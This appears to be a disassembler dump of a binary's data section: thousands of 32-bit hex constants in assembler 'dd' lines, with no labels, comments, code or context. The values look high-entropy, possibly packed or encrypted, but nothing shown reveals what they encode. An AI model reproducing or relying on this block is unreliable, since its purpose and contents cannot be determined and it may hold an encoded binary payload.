		dd 0D2F44522h, 225DF824h, 8DD0FC45h, 9F72E504h,	0F8245859h
		dd 23C5530Ah, 92270F1h,	6B90457Ch, 0C7C78FD5h, 0C489EBAh
		dd 1AFA3272h, 0EA42A12h, 2C0BA8DAh, 31748DC1h, 397CD08Eh
		dd 24807292h, 0FD0D281Ch, 0F1FC62E4h, 0F710C5F0h, 7B6692D9h
		dd 0A5F0A6A0h, 88F91190h, 0C4F8422Bh, 89C5F018h, 280B9908h
		dd 0DC165009h, 6E3B0348h, 0B34EACE0h, 0B657A14Fh, 2098680Fh
		dd 0EE71A4EAh, 32EF0692h, 2A968C7Eh, 0DA289052h, 59AC9C4Bh
		dd 0AF4222EEh, 0FA5E4648h, 0A35CB611h, 0AC0F32A4h, 0BC24B409h
		dd 0CC91C448h, 0E745D422h, 2E1C6852h, 17181199h, 74149148h
		dd 48171089h, 89740C91h, 91481708h, 98937404h, 0CCE20CAh
		dd 0C8080CC6h, 2C911809h, 0B8D08C52h, 884FB645h, 845E1045h
		dd 0B8951443h, 59B58BB5h, 2C49219Fh, 7F8BCEB9h,	19608B55h
		dd 652A10B8h, 9CB881C7h, 0BE10083Eh, 60F869A8h,	6DECBE5Fh
		dd 0BD5035C5h, 51581095h, 598CDD32h, 0EC0495Dh,	2566E8DBh
		dd 0A7F64F0h, 0AA163Dh,	0E85575E6h, 0E69F5002h,	2D7E2711h
		dd 1AAA7E43h, 23999D74h, 8EB0535Dh, 0E80B6A41h,	5B48F22Ah
		dd 0D070EB25h, 4A0E5344h, 0C262FC71h, 1805DC0Fh, 29648857h
		dd 310D1F4Dh, 3DEBC8CBh, 4F7231E8h, 0B9F85D53h,	69DCBB2Ch
		dd 98C75C5Fh, 50CE810Eh, 22F84484h, 20C3F606h, 8F19ED75h
		dd 0E810853Fh, 67725FD3h, 1355A664h, 8960D5F8h,	438CA3EFh
		dd 0E06FBCCh, 0C3E2DB15h, 1CA0B823h, 5C7F405h, 0DF06CF64h
		dd 36141935h, 1E1360A3h, 8B9B6844h, 216C1422h, 701118DBh
		dd 45238328h, 0C4534C74h, 0D99BF407h, 0DD4BFE7Dh, 80A48C8Eh
		dd 7AB0FBCCh, 0E66DFEFCh, 0F47D33DFh, 2676FE0Ch, 0F84855E6h
		dd 8468AC46h, 0D0501223h, 408F4EBCh, 47ACE80Ch,	4FC80887h
		dd 0C40C9055h, 103B4E2Ch, 22AA4F88h, 478D210Ch,	0A7745B6Bh
		dd 0C01C557Ch, 647AF0EAh, 0E7231D5Ah, 0A9A3CA03h, 3F275108h
		dd 64FC631Eh, 0E0FF0B08h, 8C2FB68h, 590D58E0h, 1C240487h
		dd 115C070Dh, 0A1642857h, 0F886C631h, 0C8E88CC7h, 6A5E4170h
		dd 919608BDh, 469E64D4h, 4067904Bh, 4D86FD62h, 0A44178D0h
		dd 1BB8D62Eh, 50FDD4D7h, 33D25D73h, 0A12A04DAh,	331B8EFCh
		dd 4F0250C0h, 0A1DAE989h, 0BE4853D1h, 143ECD20h, 73ACBB67h
		dd 0DAB6E55Fh, 79C6A47Ah, 0B4ACD665h, 35D0F48Eh, 0A9F0088Ah
		dd 864017C9h, 0A1859BDDh, 19A8EC12h, 0E18CFF20h, 5118A2C6h
		dd 76E815B7h, 0C8328E5Bh, 0F8B9EC68h, 351B23C1h, 4DAFA5FCh
		dd 0CDF870E4h, 5B68E708h, 4D648411h, 0C5F75D62h, 0D8F2B2D7h
		dd 82EEA25Dh, 4FE2C4CAh, 0D6453418h, 1C400C8Ah,	0AF2C82E8h
		dd 0F04E6552h, 9497E5F8h, 4431B9BCh, 5FCD549Fh,	6DCC2689h
		dd 109EA5F8h, 0B18573D8h, 2601CC44h, 53AE4B86h,	0D4938263h
		dd 21502D0Fh, 26A5BC3Ah, 0EAA8F7E4h, 0FFCC94C9h, 177475C8h
		dd 576ABC91h, 0EBB1D810h, 485CBF09h, 0D5CCA2CDh, 602A5A65h
		dd 13918DD5h, 0C2BFE083h, 6740F62h, 12491BEh, 4DBAF45Ah
		dd 5230ADAh, 64814ECh, 0CD006A10h, 4A035C17h, 236E5243h
		dd 0B2478C7h, 5F02CA77h, 0BBEC044h, 1C673324h, 0DF206B63h
		dd 0BF9F1866h, 26927CCEh, 0CBABAB95h, 3177EBBEh, 0C69A5F44h
		dd 72F22B89h, 83397C06h, 50B78FEh, 0DF5A93E8h, 8D4E2A90h
		dd 39B60404h, 4EA1834Ch, 3B055E81h, 0D67E0848h,	220C1F85h
		dd 0A4644DF6h, 73486BD0h, 0C524CA68h, 46144D01h, 0CA83189h
		dd 3B010372h, 4770C47h,	9176F0A9h, 896D4B90h, 0C485A5F0h
		dd 0EDF28C5Ah, 68CA413Eh
		dd 7A41CB8Ch, 9BD03921h, 42645D02h, 92BD3F92h, 69541B4h
		dd 0D9B8FF52h, 950F16E2h, 413AB112h, 2DB80272h,	7FC336D2h
		dd 0C50FE27h, 9468FE6Ah, 0FAB06483h, 890E2DD8h,	35D48425h
		dd 60583508h, 13A91911h, 71E12E74h, 8D28B0C7h, 8B760634h
		dd 0B489B30Ch, 9E48E281h, 4927C30h, 68122403h, 2E1F8D01h
		dd 1840FC33h, 1254FF6Fh, 641CC3EBh, 0E627058Fh,	548D8A48h
		dd 42C6281Bh, 79810A0Dh, 722A6904h, 52FA5150h, 3EED39E6h
		dd 9C0D09E1h, 0BBB28B07h, 225556Ch, 8809340Ah, 6DE4BEFh
		dd 6B81045Dh, 0C25B590Ch, 9FF0D0A0h, 504C55C2h,	0C9B52EFh
		dd 6CB3A6BBh, 98D1632h,	620AD450h, 7B12E425h, 0D821D680h
		dd 0CCF0F0CDh, 0CDE82386h, 70086C14h, 92C0BCCh,	80798A50h
		dd 0CDD82174h, 0CDD82374h, 0CF401952h, 9BC0F99h, 24AC12B4h
		dd 919C48A4h, 9E8C2294h, 0D8625780h, 0F11112CDh, 0FC0991F0h
		dd 9ACE1016h, 4270BC80h, 7120CFCFh, 0CE4378ACh,	33CF7011h
		dd 22A81988h, 809ED009h, 0CF7021D4h, 0CF7023D4h, 0F35C8654h
		dd 92C0F99h, 243C1234h,	914C4844h, 9E672254h, 206A5780h
		dd 640D80C6h, 48980988h, 8095A7ACh, 490074D2h, 0E517C682h
		dd 0CF012F5Fh, 0AAE2B656h, 0B229797Fh, 0B1550DEh, 0D51BB759h
		dd 0F22BF1E8h, 3B340795h, 3A735E30h, 0AE83752h,	0C4C0E53Fh
		dd 0F52E3144h, 12D93FE1h, 2F69107Bh, 19D42B8Eh,	105A328h
		dd 8D02F9C1h, 4989880Ch, 5A166B46h, 583DF05h, 0BD6C0C1Eh
		dd 25688AC7h, 8959C849h, 7FC3480Ah, 79E8D910h, 98CAD0B2h
		dd 0F4A53E59h, 0E8180390h, 2C2909BCh, 838A8DA1h, 0A3450920h
		dd 5FC34209h, 62B7FECEh, 6DF37DD8h, 16B7F127h, 0AEC8EFA4h
		dd 2D3BE8EAh, 0A3EBA205h, 0E8441BBEh, 2E4484A0h, 89E89E6h
		dd 12E28921h, 1214119Ah, 209824E0h, 0C490A107h,	0AF45EB0Fh
		dd 0A01777E7h, 0CBC7AC71h, 3DC1F21Bh, 7D9C6612h, 0B323ECEh
		dd 0F709DC0Ch, 895595CAh, 90CB50D8h, 21D89FA8h,	0BFE07514h
		dd 3A53143h, 4642A35Fh,	0D546F75Eh, 793E5695h, 84F208F6h
		dd 1AE8BC80h, 3052554Bh, 825AA3EDh, 234302C4h, 0F076C3AAh
		dd 0C0D1CA5Ah, 0F9058DCEh, 7883918Fh, 0B013CD35h, 0E00C12FFh
		dd 8EB72E9Ah, 47276146h, 0F2E8C438h, 3C411C2Ch,	80C9421Ah
		dd 0E16120E1h, 0E086EC04h, 0C1AD0FA7h, 0C0F8D245h, 96789D1Ch
		dd 0B834A080h, 0AFA86AEFh, 27214090h, 0D8201F10h, 2570D09Dh
		dd 5759057Bh, 716C92A8h, 12381115h, 1EDA74C3h, 0FFD84997h
		dd 792544F1h, 8E7AA591h, 6F5F8379h, 0A3233AFh, 0EC0145DFh
		dd 0F6A04ED7h, 0EF24335Dh, 3C518919h, 4EC42BAFh, 4418CC5Fh
		dd 63335944h, 9631AFFh,	8030AF6Fh, 77480A8h, 45FC6324h
		dd 6ADE14EBh, 87F107Fh,	0C8D3F6F4h, 4613BCACh, 7F24FF18h
		dd 76DBB4AAh, 541017BCh, 387D0C8Bh, 0E68B4944h,	0CC0D4FEBh
		dd 0A58A16F2h, 0F1FC5F5Fh, 20DAA2B4h, 0C80B364Ch, 960F60Dh
		dd 0E1F70421h, 681070C2h, 20CB0C53h, 0CA64FC1Eh, 470A03ACh
		dd 5BD383E1h, 9AF7374Ah, 7922BA97h, 0C969F885h,	9A74DF92h
		dd 233BCD44h, 4E84BF07h, 0AAE1810Ch, 29743F91h,	22988C2Eh
		dd 0FBBC3B64h, 0E09834BAh, 0E81E3635h, 0CB3CEFF9h, 2B1D97A7h
		dd 7970E5DFh, 5DB9464Ah, 48D69275h, 0FF720D0Bh,	79D38C2Ah
		dd 0D9790B7h, 0A3C34B8Bh, 2BFB09A6h, 0EDECF8FAh, 3444355h
		dd 893455C2h, 0A6316Bh,	3BD82B99h, 3E72C712h, 0E86CE2E9h
		dd 0C790561Ch, 1704FC95h, 8764EB22h, 45450587h,	0AC4BA522h
		dd 0A47FB4A6h, 0A55A96A8h, 50FC1B70h, 0A7BE4D97h, 0CDFCDF06h
		dd 752BC72Ah, 6AE7EDFFh, 0D9EAE234h, 11A72F5Ah,	3006B662h
		dd 0A7CADBD4h, 27F61D89h, 1674023Ah, 8B0D8198h,	0FF3C1422h
		dd 21DBEB11h, 0FF6D2E2Eh, 31167CF6h, 710B1860h,	0FCD206h
		dd 241019B3h, 668AF1D7h, 0D31F110Ch, 0C81741EBh, 8E393EF5h
		dd 72D11440h, 76DB74E9h, 0BD800EAh, 0F7F475C9h,	0F0498BF3h
		dd 0C87466AEh, 3147E35h, 72D103E6h, 511E3B0Eh, 71E0877h
		dd 1765930h, 0B3C99F4Eh, 47C4225Eh, 0D2B4170h, 5451146Fh
		dd 0C99ED6Fh, 0EB188AC2h, 10916F50h, 8470C22h, 148CC8C8h
		dd 0A6100B91h, 0E20C456Ch, 876C92Eh, 1B99BC74h,	11BF1424h
		dd 0DABE0245h, 0D3839EE1h, 0A67D3985h, 0E3A49D03h, 0D0288423h
		dd 6DD64752h, 3231544Ch, 29BA89C1h, 1C2BE556h, 0E218101Ch
		dd 53272A1Ch, 591448C4h, 0A4F21D10h, 4598541Ah,	53EB72D1h
		dd 0DB22B8D9h, 0C827F148h, 2C18641Ch, 10478E14h, 21CC4F26h
		dd 0BD8949B3h, 0F4A1F638h, 0B181BA92h, 8BC13ADBh, 0F871FC5Dh
		dd 0D001346Dh, 7F741838h, 84067E8Ah, 7B0B7C61h,	16057A7Ah
		dd 0B08820E9h, 750B1A0Dh, 0FE67EBEAh, 2539B15h,	3BBEFFA9h
		dd 813B48D9h, 454D476h,	209BECAAh, 38741F20h, 0DED0C957h
		dd 99FF638Bh, 5B882A5Fh, 28205057h, 6BA035EAh, 0CBB1A7E8h
		dd 0CCAD2092h, 7B3D635Fh, 0FC26EA95h, 4C72F41Ah, 88F9DDAh
		dd 0BD9E65B3h, 6A0E8287h, 0E8C5904h, 221C1EB9h,	5925CF99h
		dd 2894CF52h, 911908B2h, 0B408CB0Eh, 0EC2EB720h, 3438B5D6h
		dd 4895F2F3h, 9ED70BA7h, 3274057Bh, 7D1CE2A9h, 3A0E8A00h
		dd 4652750Fh, 0EB484C47h, 17A3166Fh, 45EBD138h,	0ED014EC1h
		dd 152DCF57h, 0E1A1293Bh, 0DADBE8A7h, 0DE75EAE3h, 0E8E012FFh
		dd 0F32B8326h, 0E127A2A7h, 57CDFC09h, 104D3ACFh, 374DF52Ch
		dd 0EA6F7E2Eh, 3021D59h, 12B370B8h, 865FC01Bh, 0FDC36A39h
		dd 90168BC4h, 33CA380Fh, 18C8E775h, 0E0BBEEBBh,	43110E2Eh
		dd 0B26ACB27h, 3B0686E2h, 48CD276Ah, 0E0209B5Bh, 0E49738A4h
		dd 0B81D4E4Dh, 0F4181DAh, 9DB3AA8Ch, 8FC95A12h,	5AC008A1h
		dd 975DB820h, 0EB2A22E1h, 3B40E727h, 127D5EDFh,	21353925h
		dd 2E0B7E18h, 1D57361Dh, 0A21C6B2h, 58130FA8h, 9585C623h
		dd 0EBC31E03h, 8C15A265h, 4AC11413h, 0C88DA0F8h, 4A12D9B0h
		dd 83A88001h, 8A0A6518h, 0D8DC8802h, 58095DC3h,	0ED1E9EEBh
		dd 181448C3h, 8BD5C62Dh, 107DFE12h, 2B44E03h, 88D19357h
		dd 0AE5152D6h, 688F06Ah, 524C8ED6h, 0DAFD0D0Dh,	54DC5A08h
		dd 0CF240B1Dh, 6683C86Bh, 84396483h, 0A2D8341h,	4010E3CFh
		dd 0FF58EB8Fh, 0C12BF602h, 9248F8D1h, 9872D5E8h, 3FF6332Eh
		dd 57D63B01h, 3022840Fh, 1025DD58h, 0DA91CA7Eh,	316B392Ah
		dd 86212975h, 64AC14CAh, 66C8030Ch, 89E831C2h, 0A8803236h
		dd 40B5444Ah, 14944271h, 47B8E413h, 0BF0C5DC4h,	98524FD8h
		dd 50AE907Eh, 4104AC09h, 2AD6E9BAh, 0D688FEE4h,	0AD86541h
		dd 2CEE7A43h, 0B32AC4C7h, 6FEB0448h, 83C44F8Dh,	2DC00CC6h
		dd 0FAE1088Ah, 6F20261Ch, 1B6772D2h, 0E9F54036h, 0B0A6172Ah
		dd 5713DE7Ch, 0BF4CC32Bh, 8701BC50h, 0EB2F7502h, 0BADB9AFh
		dd 0CF2E442Bh, 0ADBC13D6h, 4D85638h, 6588E99Fh,	29B2515h
		dd 4883742Eh, 40EC3C56h, 77202F68h, 346BFCFAh, 0BCDBCC0Ah
		dd 445FCBD7h, 6465F82Eh, 53B06CE8h, 0D48AC907h,	0C5504DDFh
		dd 33207C21h, 8C43DFFFh, 0C11D4C0Dh, 33208F8h, 104816CAh
		dd 0A33510E8h, 4E0F1144h, 7D404B56h, 0A8037B1Ah, 0B0E31C6Ah
		dd 89595B7Ch, 485B3B68h, 9DAC8C02h, 46CC5AA3h, 205819AAh
		dd 65D2A8F4h, 4FD6689h,	0DDE50547h, 7F4CA5BEh, 5664B1ECh
		dd 95E843A8h, 39D97F54h, 0D084F69Ch, 0F0067401h, 0E097D4A1h
		dd 0C5580AA0h, 139C753Ch
		dd 0A160BFDFh, 633820E8h, 0A0456CFEh, 7FA71234h, 0A04A6EB8h
		dd 4D9009C5h, 51509802h, 0CC52D3E8h, 75C88897h,	0D299FC98h
		dd 0B0D9083Fh, 18E00192h, 3C5B4159h, 13898CF7h,	0A023F568h
		dd 43A9800Ah, 44252130h, 89642834h, 0F3264D59h,	84B2ED4Bh
		dd 803D3B81h, 0F5886CDh, 39378683h, 0F726C78Bh,	51FD5h
		dd 1C8D1FE6h, 0CC498085h, 3397A15h, 14C6488Bh, 2EBD0430h
		dd 0F909A469h, 0C4E1DE5Dh, 89AEF23Ch, 0E8F38316h, 872F4BE2h
		dd 0D92C8F1Bh, 3B335913h, 221C40C5h, 7EF9CD58h,	4A5190F6h
		dd 8B69B23Bh, 64F9F8E8h, 58353CEDh, 6C8059B2h, 0ED3CB464h
		dd 55097403h, 1628DAE8h, 8015EB61h, 258314F9h, 4DB8199Ch
		dd 0EE098963h, 5B5D2DABh, 3879391Ah, 0F6C01D93h, 0B876FF19h
		dd 0EDD5F4B9h, 0E48166DCh, 0FBF7350Ch, 6A70E76h, 6084646h
		dd 2B5E0429h, 48ECF825h, 9138CD09h, 0A725BC45h,	0A7715923h
		dd 203002D9h, 4C0D46F6h, 4A4EC840h, 8D8D5F25h, 6146D8F7h
		dd 7AF23E6Ah, 7A3C5328h, 56DB5A0Ch, 0E1AA41A2h,	40F98003h
		dd 0A96637E8h, 31F30850h, 138026D0h, 77B82B3Eh,	57267E05h
		dd 613C0B50h, 60229A75h, 0A40E7543h, 0EEED9099h, 49FD5A24h
		dd 27EB079Ah, 0BDFFCBA1h, 0E4662863h, 0DC5D9982h, 0A274AF6h
		dd 4C8F02E8h, 0B7B257CBh, 0FF4CDB74h, 0CC6010F8h, 0A1897E39h
		dd 9DA2BC58h, 12E9B004h, 2A48DD38h, 0E40ED9C4h,	65857230h
		dd 820FC509h, 0AFF2E18h, 431D6279h, 160917C2h, 44132986h
		dd 36DA026Dh, 0F97539E2h, 3B46D80Bh, 0B37C4DA8h, 0E22D39ABh
		dd 4AD57E74h, 8703EB38h, 0D9842683h, 38304072h,	2DB45A4Dh
		dd 403C480Bh, 3C030D4Ch, 1A8E8AC1h, 40A70E88h, 146521Bh
		dd 0B8043E51h, 0CCD1122Ch, 0BE05DE89h, 0B12ADFCDh, 0DB10AD56h
		dd 81AE498h, 641BA878h,	456C1211h, 0C8AF7205h, 6E902B1h
		dd 0EDD4206Ch, 790682Dh, 446550E6h, 216AA196h, 732C71B4h
		dd 0F740D011h, 2141E38Dh, 6459D38h, 10234FCh, 87C613Ch
		dd 48AE07Fh, 88203E2Ch,	19384102h, 4290ED75h, 7EC8166Ah
		dd 4EE8892Ch, 8451551h,	49EB1A21h, 0AE641096h, 0AA2E0A9Dh
		dd 83A09636h, 0CB86813h, 1B817E56h, 41434950h, 39DB883Bh
		dd 0DCF05A43h, 2C6A313Eh, 16E22A1Ch, 30F9E71Ah,	9CC8AF70h
		dd 800E07CDh, 475E039h,	0EB541988h, 6A5AF23Ch, 53FCDBF4h
		dd 0A95E88DDh, 0A1D3363h, 618AA03h, 489FD401h, 0C798E84Eh
		dd 927D80B5h, 0E8F05906h, 7D9703E4h, 277294AAh,	0D99FDA72h
		dd 86DE25AFh, 0BC880C26h, 0EFA34471h, 36747141h, 65B793E8h
		dd 0A8C8F48Bh, 14688D9Bh, 64247452h, 0AEB311Dh,	0F41875C3h
		dd 0A4E10B5Eh, 7327005Fh, 5BB891A3h, 68E232BBh,	9DCE70D5h
		dd 0B3B2BDCDh, 17522BCh, 44263559h, 0C862B41Fh,	664CB80Eh
		dd 11B06BA3h, 0DC0E906h, 0A8685898h, 65B8950Dh,	1F03A190h
		dd 0C2800C8Dh, 8808A0BCh, 0B673C13Bh, 2B048753h, 0FA81C350h
		dd 724C4B86h, 14C006C9h, 0B7EEE8EBh, 8B2FA05Bh,	3EB1F959h
		dd 20D841BDh, 0C683FE01h, 0F0792BFCh, 0F7FEFC1h, 0C969CF13h
		dd 8DC841AEh, 5544018Ch, 0F0BD809Ah, 494B0E8Bh,	12AF7EA1h
		dd 0E66F86D0h, 3114E533h, 0F63F53C7h, 56F006AAh, 0F87F0CFCh
		dd 0C2F612C6h, 0C5D003Ch, 0FAC17E75h, 83744A04h, 3763F0Eh
		dd 8B5A836Ah, 983BE34Bh, 0C14C7508h, 1E732020h,	80A250BBh
		dd 0D301CA8Bh, 24C8DEBh, 21DCF704h, 44B8025Ch, 287509FEh
		dd 1F7282AFh, 4A8D8595h, 1F2151E0h, 0C4B89CC3h,	6452164h
		dd 92045921h, 0CCFDFC0Ch, 58080328h, 5B1EB653h,	0F48CBC04h
		dd 552E5A89h, 0FF950C55h, 2A52132Eh, 0B6D13132h, 0F15D4E80h
		dd 0F49712A8h, 0EC10B589h, 86FF752Bh, 4FBC125h,	0F3895036h
		dd 3B5E0B4Bh, 520E76DEh, 2C34909Bh, 390689D1h, 0E925D63Bh
		dd 6A74DAD8h, 1414CE63h, 8073BE71h, 0FB408340h,	0BE431Ch
		dd 0F7EED3CBh, 0A87421D6h, 14034CBAh, 9A267504h, 1FEB3180h
		dd 0E0554B8Dh, 0B41D121Fh, 4146B8B3h, 0D07122BAh, 493C9A97h
		dd 0C4E8994h, 6FF609Eh,	0CF755224h, 0E7E15D27h,	0EDDFC3F4h
		dd 5DB62BEAh, 245C6C54h, 20BD04D1h, 655E6D94h, 705FB752h
		dd 0C9883CDh, 60751E3Bh, 54208A49h, 4D0E8851h, 0B8C1FE0Fh
		dd 98257319h, 8292F7A8h, 89602D0Eh, 1C1909EDh, 0AE44516Eh
		dd 29DD18FDh, 47102552h, 0A3262067h, 0BA212156h, 8494EA9Eh
		dd 1009C4B9h, 61E4EBEh,	6C304447h, 0FF4EF012h, 0F7329EE8h
		dd 7E6AA12Dh, 0DC44F066h, 0AC0D378Bh, 0F935671Dh, 0E1C1A6A0h
		dd 0DEB8030Fh, 1380A6CEh, 53B288BBh, 0D6FF5114h, 43339120h
		dd 50090A5Ch, 3AA10F08h, 0D2A5EA7h, 19DA88A4h, 0FE218558h
		dd 0B274348h, 7980678Fh, 901A8BAh, 0FE046083h, 0D7AC1254h
		dd 6996FF3Fh, 0A01C5653h, 13ABD691h, 7B10142Dh,	0F6196956h
		dd 0F466EE8Bh, 0C180040Bh, 225BF4E0h, 982B7729h, 0EC111D4Ch
		dd 14484E51h, 0FAD10596h, 4A57E2EAh, 0A00DDDB4h, 0A2053B30h
		dd 1A60DF23h, 1458086Dh, 5336D32Fh, 3D892945h, 1E513FA5h
		dd 0B4A5EC6Eh, 3131642Dh, 957CD9Dh, 2371823Ch, 8317BEB0h
		dd 23F059E1h, 4F9C107h,	2082AE49h, 62DF0E7Dh, 5F0B42E5h
		dd 66028029h, 0EC88EBF4h, 8FA2591h, 0E8D3F61Ah,	153ADE1Fh
		dd 0D80968A1h, 9881DF3Bh, 65197308h, 23DBF323h,	0FE0E5873h
		dd 6275CF0Bh, 5714C383h, 33181543h, 7511E772h, 0DA8B3F79h
		dd 4627D8A8h, 8D05C815h, 0E534E6EBh, 734B8B59h,	0F689D711h
		dd 8A29402Dh, 38EDEB55h, 0DA22610h, 91301CA8h, 0E80E0BEEh
		dd 0C9BC1338h, 3B87DB85h, 0F6531474h, 59671FDAh, 1F710B8h
		dd 0A9044355h, 0E8B8FF38h, 892B0F8Ch, 6EA61D53h, 0FA2E792Ah
		dd 0FC55C841h, 8C925CBEh, 77B42790h, 2844757Ch,	48FB3789h
		dd 24C87013h, 9FDE2055h, 481FE451h, 31B0B53h, 0A917F318h
		dd 0E82F8491h, 883B9A34h, 0FE1EC005h, 0D70B3901h, 48E3E974h
		dd 3317989Ah, 60617DFFh, 0B1C24C49h, 980D75CEh,	0C0206A67h
		dd 0C9855FCBh, 0D103057Ch, 0F7EB47E1h, 5443188Bh, 2B0A88F9h
		dd 0F1691FB2h, 0FEC6875Eh, 0A1834ED3h, 0E7657E3Fh, 98F7C830h
		dd 10D2299h, 73224A58h,	48836180h, 2B2C85FFh, 89CFC501h
		dd 620B3F0Fh, 0F453A838h, 5C23EC01h, 5DF4488h, 750FFE09h
		dd 1E40BA38h, 0B21EC4Dh, 58CAB8EBh, 50E4154Fh, 9F48962Ch
		dd 19864DD6h, 996FA854h, 86A22D86h, 0D2D9B266h,	0F5EE7A06h
		dd 79894648h, 1AEDB3EFh, 9D127308h, 0AAA18471h,	28F17C0Bh
		dd 4637A6C0h, 51D9523Dh, 0F30C2246h, 0B0649E5Ch, 0FE0640C0h
		dd 587D0B88h, 974CC229h, 65EFE177h, 30BFC625h, 0EFD3CEB1h
		dd 0B3B092Bh, 7CFC90A2h, 2FEBAFA0h, 0D8229A5h, 0ACE04E8Dh
		dd 947B5521h, 0BC8D8A17h, 622E6DAEh, 37098686h,	91F84E2Ch
		dd 0CA0A8957h, 29FC01C1h, 75E67F34h, 0D165F077h, 13040146h
		dd 0A097FC32h, 33440E36h, 3E20798Dh, 1D3B1AD8h,	373CED99h
		dd 1ABB9912h, 530742A2h, 89253070h, 422C8D08h, 0B0690904h
		dd 8AA80D03h, 1729647Dh, 53075C1h, 9450895Dh, 22EDF870h
		dd 0F3575ABCh, 0C73BC27Fh, 51894274h, 0C912A59Bh, 0B093E1Ah
		dd 34B8C55Ch, 46C4B06Ah, 34923127h, 0B0F45981h,	10468968h
		dd 4300497h, 7514B9ABh,	0A8B1B196h, 1A4CC415h, 92754F0Ch
		dd 0FACD5707h, 855F092Dh, 22C44E7Dh, 7E8EC61Ch,	6305CA04h
		dd 5A8384B3h, 0C94AA922h
		dd 7FE16451h, 0C9714C57h, 3397413Ch, 44C312DBh,	4943E050h
		dd 693887C3h, 5A8291D9h, 9930F970h, 8DF7AC83h, 43060840h
		dd 4AB2C09Ch, 41FB1F49h, 70E7C186h, 0C3879DDh, 10102168h
		dd 4B8C4780h, 93C882B9h, 0C978D8Eh, 1E3B0C70h, 993C77FAh
		dd 6148F047h, 0EC88D0F3h, 7EF50F4Dh, 0FC7FCEEh,	0F06440C7h
		dd 1E694355h, 48F0FED0h, 80C7040Dh, 150223E8h, 8F578905h
		dd 1CE8732Dh, 0F88BC71Ah, 50C8440h, 0B8C8F84Ah,	0E84FDC5Fh
		dd 4A8D1BADh, 10B4120Ch, 9E640C90h, 0EBBC8644h,	8A0EE422h
		dd 0C8694346h, 0C0840C82h, 4E887BE8h, 30475F8h,	0BA047809h
		dd 0EA019AB6h, 5021D2F7h, 73C3E508h, 0FD0C8AB5h, 7C1052B2h
		dd 0D7806FD4h, 2B17708Dh, 0EA45514Eh, 0ACC1E683h, 85610FEAh
		dd 4FB08332h, 3B5949FCh, 5C2C505Dh, 96C9395Bh, 0F7E97FEEh
		dd 0F63B8E5Fh, 854CBEC3h, 1E03134Fh, 8FF33BD9h,	35D3458Fh
		dd 3FF1981Bh, 76248EB2h, 59184F06h, 985F8B11h, 4803E7E4h
		dd 73202C0Bh, 954161Fh,	14C8DF8h, 9042F2C4h, 24122B23h
		dd 227C1884h, 78904E9Ch, 94ED4FF5h, 650989A7h, 65897F06h
		dd 2B103083h, 0F85A01CEh, 8EAA44EBh, 9F22B8AAh,	0C10C2A70h
		dd 4F0433FFh, 3078318Ah, 5F44FB9Ch, 1CE4F40Fh, 2ACC10FBh
		dd 12DB405Bh, 46805C0Ch, 0E60C186Dh, 2C1E3B26h,	108C5C75h
		dd 4EFF2207h, 204C5F13h, 16EE2141h, 0E648CF47h,	6658B941h
		dd 25EB2ACFh, 33105C21h, 8448784Bh, 2ED2BAA6h, 482C4FDDh
		dd 210C5516h, 6532449Dh, 1743043h, 243787B1h, 0CD9F46F7h
		dd 2A852242h, 0EA47E9F8h, 0ECC0E74Eh, 340F0F43h, 0E00D3A8Dh
		dd 0B5D329DFh, 6E4BA44Ch, 0A533595Ch, 2C52B47Dh, 83234CE9h
		dd 5ED84CEFh, 552BF64Ch, 8BD4C68Bh, 599524Fh, 22491915h
		dd 752E053Bh, 0CA5213BAh, 24CE226Ch, 517A0674h,	0B26C680Eh
		dd 6481C4Eh, 0EEA9ED77h, 2177107Ah, 0E6C1BC71h,	31B8F08h
		dd 870CCEE6h, 71EEAC76h, 0D4B027Bh, 714BDA7Bh, 2EFBA6CDh
		dd 715AEE5Ch, 131835AEh, 63AE8D62h, 2440D4E3h, 0CE716239h
		dd 0B1840F08h, 122268E6h, 4E622C79h, 2C58A587h,	134C0348h
		dd 98BFFC18h, 3D258341h, 0FF31C1A0h, 60B562Eh, 1990BEC3h
		dd 681DEB0Eh, 5B9F3720h, 9BEAD4Eh, 110C840Fh, 0D1622D73h
		dd 40E27058h, 0EAD52A85h, 0BE848823h, 2934D5CFh, 318506Bh
		dd 34D35753h, 25AF03D2h, 3B5C01B8h, 0A01E75F0h,	63960AE4h
		dd 6408A314h, 1C33941Ch, 0EB0800F5h, 0A1068915h, 0C25409A2h
		dd 935283Dh, 28308B44h,	0EC68878Dh, 9198698Eh, 76D5F257h
		dd 0EB4E5818h, 0F9CB7E28h, 37EDA170h, 712DF1B9h, 0FCFD83D2h
		dd 0C20E9D0Fh, 66D1234Ah, 5C328945h, 81849448h,	63D1AFFDh
		dd 0BA2EE37Ch, 0CB2DD445h, 0EC59B9F2h, 0EBC30317h, 801BE803h
		dd 0B071AE8Fh, 81474876h, 4CC7071Dh, 811BF004h,	0EBB548F1h
		dd 0CF8DC5Eh, 6DBE272Eh, 0C0FF0271h, 91FE8122h,	9F7E74ACh
		dd 4A8C489Ch, 314395CBh, 33426F5Ch, 0B0353904h,	0F71116C9h
		dd 15A334C1h, 73204363h, 910E6621h, 65B3489h, 43AAA650h
		dd 0D0FC9652h, 6B910D24h, 0A9538B99h, 578A06B6h, 0FF13ED83h
		dd 0E4B164EBh, 25FDBE31h, 0F068417Dh, 0D2AEB93Fh, 397517BAh
		dd 4D88C516h, 99DFA203h, 8559507Ah, 2850FD6Bh, 0D27F90Fh
		dd 46F849B4h, 9C0523Fh,	878AC764h, 17CF3D3Ch, 4E9EBC65h
		dd 0EB2804B8h, 0EF833D30h, 7DDB8585h, 2123C9B2h, 476C850h
		dd 0AD2C743Dh, 13BB5479h, 8D270126h, 3D5A2041h,	420C12E7h
		dd 19FA5222h, 200849EFh, 0E84E5131h, 3B384AAEh,	0A7462A5h
		dd 8FE910FDh, 3C7EB750h, 524BFAC9h, 0C640F6BAh,	413B06CAh
		dd 0A057610h, 43721427h, 74E0E7D9h, 9EEEB37h, 31750FA8h
		dd 0FDBA5784h, 0E681097Ah, 3BDF40FFh, 207225F2h, 0E8978E8h
		dd 0AA040DD2h, 0DAFC66C8h, 0C12BF00Dh, 9C873E1Eh, 0CEC1F864h
		dd 5EC60844h, 2757489Eh, 2B2CB9DAh, 0F90C5848h,	0B5C82E0Ch
		dd 0F00FAAFh, 100111B6h, 98218032h, 13114438h, 200440C7h
		dd 0FF177517h, 48FB0552h, 20064066h, 10CE829Dh,	0FD765FE8h
		dd 0BBAFF3A5h, 57CFA648h, 0B42A6DBEh, 7C9F1161h, 6A087E26h
		dd 1320180Ch, 0E82B5AC7h, 0F6D77AE8h, 0C3A9CB8h, 0F93BC209h
		dd 3A73F060h, 8F0F8B27h, 7CCB80CEh, 0B5F391Ah, 53157604h
